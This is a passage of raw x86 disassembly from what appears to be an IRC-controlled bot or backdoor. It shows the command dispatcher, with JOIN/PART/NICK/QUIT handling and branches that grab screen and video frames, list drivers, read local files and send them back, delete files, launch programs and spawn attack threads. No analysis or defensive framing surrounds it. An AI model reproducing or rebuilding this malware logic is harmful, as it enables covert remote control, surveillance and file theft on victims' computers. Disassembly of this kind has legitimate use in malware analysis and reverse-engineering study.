		pop	ecx
		push	dword_457134[eax] ; int
		call	sub_409D26
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_4437A0
		jmp	loc_408DB7
; ---------------------------------------------------------------------------

loc_408EB4:				; CODE XREF: sub_401CC7+4A07j
					; sub_401CC7+4A1Ej
		cmp	[ebp+var_C], ebx
		jz	loc_409B47
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409B47
		push	esi		; Args
		push	offset aModeS_0	; "MODE	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409D26
		add	esp, 0Ch
		push	esi
		push	offset unk_443770
		jmp	loc_409B40
; ---------------------------------------------------------------------------

loc_408EEE:				; CODE XREF: sub_401CC7+49D9j
					; sub_401CC7+49F0j
		push	dword ptr [ebp+Args] ; Str2
		push	offset a332_2	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_402166
		push	[ebp+arg_18]	; Args
		push	offset aPartS_1	; "PART	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409D26
		push	edi		; Str
		call	_atoi
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	ds:dword_4F6380	; Sleep
		push	[ebp+esi+Str2]
		push	[ebp+arg_18]	; Args
		push	offset aJoinSS_2 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409D26
		push	offset dword_443744
		call	sub_415C77
		jmp	loc_4036D3
; ---------------------------------------------------------------------------

loc_408F54:				; CODE XREF: sub_401CC7+49ABj
					; sub_401CC7+49C2j
		cmp	[ebp+var_C], ebx
		jz	loc_409B47
		push	edi		; Str
		call	_strlen
		push	[ebp+arg_8]	; Str
		mov	esi, eax
		call	_strlen
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]	; SubStr
		lea	eax, [eax+esi+2]
		push	eax		; Str
		call	_strstr
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409B47
		push	esi
		lea	eax, [ebp+Dst]
		push	offset dword_4436F0 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	ebx		; int
		push	eax		; int
		push	edi		; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 20h
		push	esi
		push	edi
		push	offset unk_4436FC
		jmp	loc_408DB7
; ---------------------------------------------------------------------------

loc_408FBD:				; CODE XREF: sub_401CC7+497Dj
					; sub_401CC7+4994j
		cmp	[ebp+var_C], ebx
		jz	loc_409B47
		push	edi		; Str
		call	_strlen
		push	[ebp+arg_8]	; Str
		mov	esi, eax
		call	_strlen
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]	; SubStr
		lea	eax, [eax+esi+2]
		push	eax		; Str
		call	_strstr
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409B47
		push	ebx		; int
		push	ebx		; int
		push	esi		; int
		push	edi		; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 14h
		push	esi
		push	edi
		push	offset unk_4436C4
		jmp	loc_408DB7
; ---------------------------------------------------------------------------

loc_40900E:				; CODE XREF: sub_401CC7+494Fj
					; sub_401CC7+4966j
		cmp	[ebp+var_C], ebx
		jz	loc_402166
		push	[ebp+arg_18]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_402166
		push	eax		; int
		push	edi		; Str2
		call	sub_415B7F
		pop	ecx
		pop	ecx
		push	edi
		push	offset unk_443698
		jmp	loc_407669
; ---------------------------------------------------------------------------

loc_409040:				; CODE XREF: sub_401CC7+4921j
					; sub_401CC7+4938j
		push	[ebp+arg_18]	; int
		push	edi		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_4192B6

loc_409055:				; CODE XREF: sub_401CC7+2624j
		add	esp, 14h
		jmp	loc_402166
; ---------------------------------------------------------------------------

loc_40905D:				; CODE XREF: sub_401CC7+48E1j
					; sub_401CC7+48F8j
		push	edi		; SubStr
		push	[ebp+arg_1C]	; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409B47
		mov	esi, [ebp+esi+Format]
		cmp	esi, ebx
		jz	loc_409101
		push	esi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4090E9
		push	esi
		lea	eax, [ebp+Dst]
		push	[ebp+Format]
		push	dword ptr [ebp+Args]
		push	[ebp+var_90]
		push	offset aSSSS_1	; "%s %s %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	1FFh		; Count
		push	eax		; Source
		push	[ebp+Src]	; Dest
		call	_strncpy
		add	esp, 24h
		lea	eax, [ebp+Dst]
		push	esi
		push	edi
		push	offset asc_443608 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		inc	[ebp+File]
		jmp	loc_408AC3
; ---------------------------------------------------------------------------

loc_4090E9:				; CODE XREF: sub_401CC7+73C7j
		lea	eax, [ebp+Dst]
		push	offset asc_443630 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_408AC3
; ---------------------------------------------------------------------------

loc_409101:				; CODE XREF: sub_401CC7+73B2j
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41BC18
		add	esp, 0Ch
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 14h
		lea	eax, [ebp+Dst]
		push	edi
		push	offset asc_443660 ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		jmp	loc_408AC3
; ---------------------------------------------------------------------------

loc_40914B:				; CODE XREF: sub_401CC7+48B3j
					; sub_401CC7+48CAj
		push	offset aScreen	; "screen"
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4091AE
		cmp	[ebp+esi+Format], ebx
		jz	short loc_40919B
		push	[ebp+esi+Format]
		call	sub_415F56
		cmp	eax, 1
		pop	ecx
		jnz	short loc_409194
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset asc_4433A8 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_4091AE
; ---------------------------------------------------------------------------

loc_409194:				; CODE XREF: sub_401CC7+74AEj
		push	offset unk_4433D4
		jmp	short loc_4091A0
; ---------------------------------------------------------------------------

loc_40919B:				; CODE XREF: sub_401CC7+749Cj
		push	offset asc_443404 ; "-"

loc_4091A0:				; CODE XREF: sub_401CC7+74D2j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_4091AE:				; CODE XREF: sub_401CC7+7493j
					; sub_401CC7+74CBj
		push	offset aDrivers	; "drivers"
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409245
		mov	[ebp+Source], ebx

loc_4091C6:				; CODE XREF: sub_401CC7+7569j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	[ebp+Source]
		call	dword_4E4250
		test	eax, eax
		jz	short loc_409229
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		lea	eax, [ebp+var_5D88]
		push	[ebp+Source]
		push	offset asc_443448 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 28h

loc_409229:				; CODE XREF: sub_401CC7+7522j
		inc	[ebp+Source]
		cmp	[ebp+Source], 0Ah
		jl	short loc_4091C6
		lea	eax, [ebp+Dst]
		push	offset asc_443470 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_409245:				; CODE XREF: sub_401CC7+74F6j
		push	offset aFrame	; "frame"
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4092E5
		cmp	[ebp+esi+Format], ebx
		jz	short loc_4092D2
		cmp	[ebp+esi+Str2],	ebx
		jz	short loc_4092D2
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_4092D2
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_4092D2
		push	eax		; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	[ebp+esi+var_80] ; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	[ebp+esi+Str2]	; Str
		call	_atoi
		pop	ecx
		push	eax		; Size
		push	[ebp+esi+Format] ; int
		call	sub_416191
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4092CB
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset asc_4434A0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_4092E5
; ---------------------------------------------------------------------------

loc_4092CB:				; CODE XREF: sub_401CC7+75E5j
		push	offset unk_4434CC
		jmp	short loc_4092D7
; ---------------------------------------------------------------------------

loc_4092D2:				; CODE XREF: sub_401CC7+759Aj
					; sub_401CC7+75A3j ...
		push	offset asc_443500 ; "-"

loc_4092D7:				; CODE XREF: sub_401CC7+7609j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_4092E5:				; CODE XREF: sub_401CC7+758Dj
					; sub_401CC7+7602j
		push	offset aVideo	; "video"
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408AA2
		mov	eax, [ebp+esi+Format]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40937B
		mov	eax, [ebp+esi+Str2]
		cmp	eax, ebx
		mov	[ebp+Src], eax
		jz	short loc_40937B
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40937B
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40937B
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40937B
		push	esi		; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	edi		; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	[ebp+arg_1C]	; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	[ebp+Src]	; Str
		call	_atoi
		pop	ecx
		push	eax		; Size
		push	[ebp+arg_18]	; int
		call	sub_41638A
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409371
		push	[ebp+arg_18]
		push	offset unk_443540
		jmp	loc_408A93
; ---------------------------------------------------------------------------

loc_409371:				; CODE XREF: sub_401CC7+769Bj
		push	offset unk_44356C
		jmp	loc_409437
; ---------------------------------------------------------------------------

loc_40937B:				; CODE XREF: sub_401CC7+763Fj
					; sub_401CC7+764Dj ...
		push	offset unk_4435AC
		jmp	loc_409437
; ---------------------------------------------------------------------------

loc_409385:				; CODE XREF: sub_401CC7+40C0j
					; sub_401CC7+40D7j
		push	offset aR_0	; "r"
		push	edi		; Filename
		call	_fopen
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4093F1
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+Dst]
		push	ebx
		push	eax
		call	sub_41FDD0
		add	esp, 0Ch

loc_4093AE:				; CODE XREF: sub_401CC7+7716j
		test	eax, eax
		jz	short loc_4093DF
		push	1		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		push	esi
		lea	eax, [ebp+Dst]
		push	ebx
		push	eax
		call	sub_41FDD0
		add	esp, 20h
		jmp	short loc_4093AE
; ---------------------------------------------------------------------------

loc_4093DF:				; CODE XREF: sub_401CC7+76E9j
		push	esi		; File
		call	_fclose
		pop	ecx
		push	edi
		push	offset unk_442D98
		jmp	loc_409575
; ---------------------------------------------------------------------------

loc_4093F1:				; CODE XREF: sub_401CC7+76CFj
		push	edi
		push	offset unk_442DBC
		jmp	loc_407019
; ---------------------------------------------------------------------------

loc_4093FC:				; CODE XREF: sub_401CC7+4092j
					; sub_401CC7+40A9j
		cmp	[ebp+var_C], ebx
		jz	loc_409B47
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409B47
		push	offset asc_442D3C ; "\n"
		push	esi		; Dest
		call	_strcat
		push	esi		; Str
		call	sub_41A969
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40944A
		push	offset asc_442D40 ; "-"

loc_409437:				; CODE XREF: sub_401CC7+76AFj
					; sub_401CC7+76B9j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_408AA2
; ---------------------------------------------------------------------------

loc_40944A:				; CODE XREF: sub_401CC7+7769j
		push	esi
		lea	eax, [ebp+Dst]
		push	offset asc_442D6C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_408AC3
; ---------------------------------------------------------------------------

loc_409464:				; CODE XREF: sub_401CC7+4064j
					; sub_401CC7+407Bj
		cmp	[ebp+var_C], ebx
		jz	loc_409B47
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409B47
		push	eax		; Format
		call	sub_418F62
		test	eax, eax
		pop	ecx
		jnz	short loc_409492
		push	offset unk_442CF8
		jmp	short loc_409437
; ---------------------------------------------------------------------------

loc_409492:				; CODE XREF: sub_401CC7+77C2j
		push	offset dword_442D18
		jmp	short loc_409437
; ---------------------------------------------------------------------------

loc_409499:				; CODE XREF: sub_401CC7+4036j
					; sub_401CC7+404Dj
		push	7Fh		; Count
		lea	eax, [ebp+var_2080]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		mov	esi, [ebp+esi+Format]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4094C8
		push	7Fh		; Count
		lea	eax, [ebp+var_2000]
		push	esi		; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch

loc_4094C8:				; CODE XREF: sub_401CC7+77EDj
		push	7Fh		; Count
		lea	eax, [ebp+var_1F80]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		push	edi
		lea	eax, [ebp+Dst]
		push	offset asc_442C90 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1Ch		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset loc_41BCDD
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_409569

loc_409553:				; CODE XREF: sub_401CC7+78A0j
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_407049
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_409553
; ---------------------------------------------------------------------------

loc_409569:				; CODE XREF: sub_401CC7+788Aj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset asc_442CA8 ; "-"

loc_409575:				; CODE XREF: sub_401CC7+29C3j
					; sub_401CC7+7725j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_407049
; ---------------------------------------------------------------------------

loc_409589:				; CODE XREF: sub_401CC7+4008j
					; sub_401CC7+401Fj
		push	ebx		; Source
		push	[ebp+Format]	; int
		push	[ebp+arg_4]	; int
		push	edi		; Str
		call	sub_410423
		add	esp, 10h
		push	edi
		push	offset dword_442C6C
		jmp	loc_409B40
; ---------------------------------------------------------------------------

loc_4095A7:				; CODE XREF: sub_401CC7+3FDAj
					; sub_401CC7+3FF1j
		push	14h		; Size
		lea	eax, [ebp+var_1D48]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	edi
		push	offset aS_34	; "%s"
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C0]
		push	eax		; Format
		lea	eax, [ebp+var_1C30]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_442C00 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1Ah		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset sub_4169B8
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_409680

loc_40966A:				; CODE XREF: sub_401CC7+79B7j
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_408708
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_40966A
; ---------------------------------------------------------------------------

loc_409680:				; CODE XREF: sub_401CC7+79A1j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_442C24
		jmp	loc_4086F9
; ---------------------------------------------------------------------------

loc_409691:				; CODE XREF: sub_401CC7+3FACj
					; sub_401CC7+3FC3j
		push	edi
		call	ds:dword_4F6388	; DeleteFileA
		test	eax, eax
		jz	short loc_4096B8
		push	edi
		push	offset asc_442BCC ; "-"
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		jmp	loc_40978B
; ---------------------------------------------------------------------------

loc_4096B8:				; CODE XREF: sub_401CC7+79D3j
		push	offset dword_442BE8
		call	sub_418E9D
		pop	ecx
		push	eax
		jmp	loc_404101
; ---------------------------------------------------------------------------

loc_4096C9:				; CODE XREF: sub_401CC7+3F7Ej
					; sub_401CC7+3F95j
		push	edi		; Str
		call	_atoi
		push	eax
		call	sub_41A8E2
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_4096E6
		push	offset unk_442B6C
		jmp	short loc_4096EB
; ---------------------------------------------------------------------------

loc_4096E6:				; CODE XREF: sub_401CC7+7A16j
		push	offset asc_442B90 ; "-"

loc_4096EB:				; CODE XREF: sub_401CC7+7A1Dj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_40704C
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 14h
		jmp	loc_40704C
; ---------------------------------------------------------------------------

loc_409724:				; CODE XREF: sub_401CC7+3F50j
					; sub_401CC7+3F67j
		push	ebx		; int
		push	ebx		; int
		push	edi		; Str2
		push	[ebp+var_4]	; int
		push	ebx		; Str
		push	[ebp+arg_4]	; int
		call	sub_41A5C1
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_409746
		push	offset unk_442B10
		jmp	loc_407019
; ---------------------------------------------------------------------------

loc_409746:				; CODE XREF: sub_401CC7+7A73j
		push	offset unk_442B30
		jmp	loc_407019
; ---------------------------------------------------------------------------

loc_409750:				; CODE XREF: sub_401CC7+3F22j
					; sub_401CC7+3F39j
		push	edi
		call	dword_4E4260	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D4], eax
		jz	short loc_409793
		push	2
		lea	eax, [ebp+var_2D4]
		push	4
		push	eax
		call	dword_4E41D8	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_4097B4
		push	dword ptr [eax]
		push	edi
		push	offset asc_442A98 ; "-"

loc_40977F:				; CODE XREF: sub_401CC7+7AEBj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf

loc_40978B:				; CODE XREF: sub_401CC7+79ECj
		add	esp, 10h
		jmp	loc_407028
; ---------------------------------------------------------------------------

loc_409793:				; CODE XREF: sub_401CC7+7A99j
		push	edi
		call	dword_4E42A4	; gethostbyname
		cmp	eax, ebx
		jz	short loc_4097B4
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4E42AC	; inet_ntoa
		push	eax
		push	edi
		push	offset unk_442AB8
		jmp	short loc_40977F
; ---------------------------------------------------------------------------

loc_4097B4:				; CODE XREF: sub_401CC7+7AAEj
					; sub_401CC7+7AD5j
		push	offset unk_442AD8
		jmp	loc_40891F
; ---------------------------------------------------------------------------

loc_4097BE:				; CODE XREF: sub_401CC7+3EF4j
					; sub_401CC7+3F0Bj
		push	7Fh		; Count
		push	edi		; Source
		push	[ebp+arg_14]	; Dest
		call	_strncpy
		add	esp, 0Ch
		push	edi
		push	offset unk_442A68
		jmp	loc_404BEE
; ---------------------------------------------------------------------------

loc_4097D7:				; CODE XREF: sub_401CC7+3EC6j
					; sub_401CC7+3EDDj
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen_1	; "open"
		push	ebx
		call	dword_4E418C
		test	eax, eax
		push	edi
		jz	short loc_4097F7
		push	offset unk_442A18
		jmp	loc_407019
; ---------------------------------------------------------------------------

loc_4097F7:				; CODE XREF: sub_401CC7+7B24j
		push	offset unk_442A38
		jmp	loc_407019
; ---------------------------------------------------------------------------

loc_409801:				; CODE XREF: sub_401CC7+3E98j
					; sub_401CC7+3EAFj
		mov	al, [edi]
		mov	byte_440090, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset unk_4429DC
		jmp	loc_404BEE
; ---------------------------------------------------------------------------

loc_409816:				; CODE XREF: sub_401CC7+3E6Aj
					; sub_401CC7+3E81j
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_409B47
		push	edi		; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_409B47
		push	ebx		; Str1
		push	ebx		; int
		lea	eax, [ebp+SubStr]
		push	2		; int
		push	eax		; Dest
		call	sub_40B487
		add	esp, 10h
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aNickS_6	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	eax
		push	offset aS_19	; "%s\r\n"
		jmp	loc_408CE7
; ---------------------------------------------------------------------------

loc_409870:				; CODE XREF: sub_401CC7+3E3Cj
					; sub_401CC7+3E53j
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_402166
		push	edi		; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_402166
		push	offset aQuitLater_0 ; "QUIT :later\r\n"
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_457134[eax] ; int
		call	sub_409D26
		pop	ecx
		pop	ecx
		push	1F4h
		call	ds:dword_4F6380	; Sleep
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_457134[eax]
		call	dword_4E42B8	; closesocket
		push	[ebp+var_10]
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_45713C[eax]
		call	ds:dword_4F63B4	; TerminateThread
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		push	edi		; Str
		mov	dword_45713C[eax], ebx
		call	_atoi
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_456F28[eax], bl
		jmp	loc_402166
; ---------------------------------------------------------------------------

loc_40991B:				; CODE XREF: sub_401CC7+3E0Ej
					; sub_401CC7+3E25j
		push	edi		; Str2
		push	offset aAll	; "all"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40994A
		call	sub_40B957
		cmp	eax, ebx
		jle	short loc_409940
		push	eax
		push	offset unk_4428F0
		jmp	loc_407669
; ---------------------------------------------------------------------------

loc_409940:				; CODE XREF: sub_401CC7+7C6Cj
		push	offset unk_442918
		jmp	loc_4041A3
; ---------------------------------------------------------------------------

loc_40994A:				; CODE XREF: sub_401CC7+7C63j
		mov	eax, [ebp+var_A4]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_402166
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+File], eax

loc_409966:				; CODE XREF: sub_401CC7+7D10j
		mov	eax, [ebp+File]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_402166
		push	esi		; Str
		call	_atoi
		push	eax
		call	sub_40B8C9
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40998D
		push	offset unk_442940
		jmp	short loc_409992
; ---------------------------------------------------------------------------

loc_40998D:				; CODE XREF: sub_401CC7+7CBDj
		push	offset asc_442964 ; "-"

loc_409992:				; CODE XREF: sub_401CC7+7CC4j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099C2
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 14h

loc_4099C2:				; CODE XREF: sub_401CC7+7CDDj
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C77
		add	[ebp+File], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_409966
		jmp	loc_402166
; ---------------------------------------------------------------------------

loc_4099DE:				; CODE XREF: sub_401CC7+3DE0j
					; sub_401CC7+3DF7j
		cmp	[ebp+var_C], ebx
		jz	loc_409B47
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409B47
		push	esi		; Args
		push	offset aS_20	; "%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409D26
		add	esp, 0Ch
		push	esi
		push	offset dword_4428C0
		jmp	loc_409B40
; ---------------------------------------------------------------------------

loc_409A18:				; CODE XREF: sub_401CC7+3DB2j
					; sub_401CC7+3DC9j
		push	edi		; Args
		push	offset aPartS_2	; "PART	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409D26
		add	esp, 0Ch
		push	edi
		push	offset unk_44288C
		jmp	loc_409B40
; ---------------------------------------------------------------------------

loc_409A34:				; CODE XREF: sub_401CC7+3D84j
					; sub_401CC7+3D9Bj
		push	[ebp+esi+Format]
		push	edi		; Args
		push	offset aJoinSS_3 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409D26
		add	esp, 10h
		push	edi
		push	offset unk_442850
		jmp	loc_409B40
; ---------------------------------------------------------------------------

loc_409A57:				; CODE XREF: sub_401CC7+3D56j
					; sub_401CC7+3D6Dj
		push	edi		; Args
		push	offset aNickS_7	; "NICK	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409D26
		add	esp, 0Ch
		push	edi
		push	offset unk_442810
		jmp	loc_409B40
; ---------------------------------------------------------------------------

loc_409A73:				; CODE XREF: sub_401CC7+317Ej
					; sub_401CC7+3195j
		push	offset aQuitReconnec_0 ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409D26
		pop	ecx
		lea	eax, [ebp+Dst]
		pop	ecx
		push	edi
		push	offset asc_4424A0 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C77
		push	edi		; Str
		call	_atoi
		add	esp, 14h

loc_409AA9:				; CODE XREF: sub_401CC7+7E2Cj
		push	eax
		call	ds:dword_4F6380	; Sleep

loc_409AB0:				; CODE XREF: sub_401CC7+2A97j
		xor	eax, eax
		jmp	loc_402169
; ---------------------------------------------------------------------------

loc_409AB7:				; CODE XREF: sub_401CC7+3150j
					; sub_401CC7+3167j
		push	offset aQuitReconnec_1 ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409D26
		pop	ecx
		lea	eax, [ebp+Dst]
		pop	ecx
		push	edi
		push	offset asc_442448 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C77
		push	edi		; Str
		call	_atoi
		add	esp, 14h
